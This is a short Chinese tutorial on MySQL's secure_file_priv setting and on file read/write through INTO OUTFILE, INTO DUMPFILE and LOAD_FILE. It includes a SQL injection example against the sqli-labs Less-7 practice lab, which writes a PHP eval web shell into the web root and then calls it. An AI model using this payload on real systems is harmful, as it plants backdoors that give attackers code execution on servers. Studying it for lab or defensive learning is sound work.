secure_file_priv是mysql中的系统变量,用于限制文件的读取和写入。
该参数的设置可以通过my.ini(windows版本)/my.cnf(linux版本)中设置。
修改完参数之后,必须重启数据库才能生效。
启动mysql,先查看secure_file_priv的值。
命令:show variables like "secure%" 或 select @@secure_file_priv;
1.secure_file_priv = null ,限制文件的读取和写入。
2.secure_file_priv = 文件路径 ,限制文件的读取和写入只能在设定的文件夹中。
3.secure_file_priv= "", 对文件和读取和写入没有任何限制。
【mysql漏洞注入后期】
1. select *** into dumpfile 文件路径;
内容在文件中是以一行的形式呈现,多行数据会出现数据保存不全;
dumpfile
只能写一行,并且输出中不存在任何格式。
2.select *** into outfile 文件路径;
内容有特殊格式转换,该换行换行,较比dumpfile更加好用;
outfile
可以写入多行数据,并且字段和行终止符都可以作为格式输出。
例如:?id=1')) union select 1,"<?php eval($_request[123]) ?>",3 into outfile "c://phpstudy//www//sqli-labs-master//less-7//test.php" -- +
调用:url/test.php?123=phpinfo();
3.select *** load_file (下载文件)
select load_file(文件路径);
到此这篇关于mysql 中的secure_file_priv参数设置的文章就介绍到这了,更多相关mysql secure_file_priv参数设置内容请搜索代码网以前的文章或继续浏览下面的相关文章希望大家以后多多支持代码网!
发表评论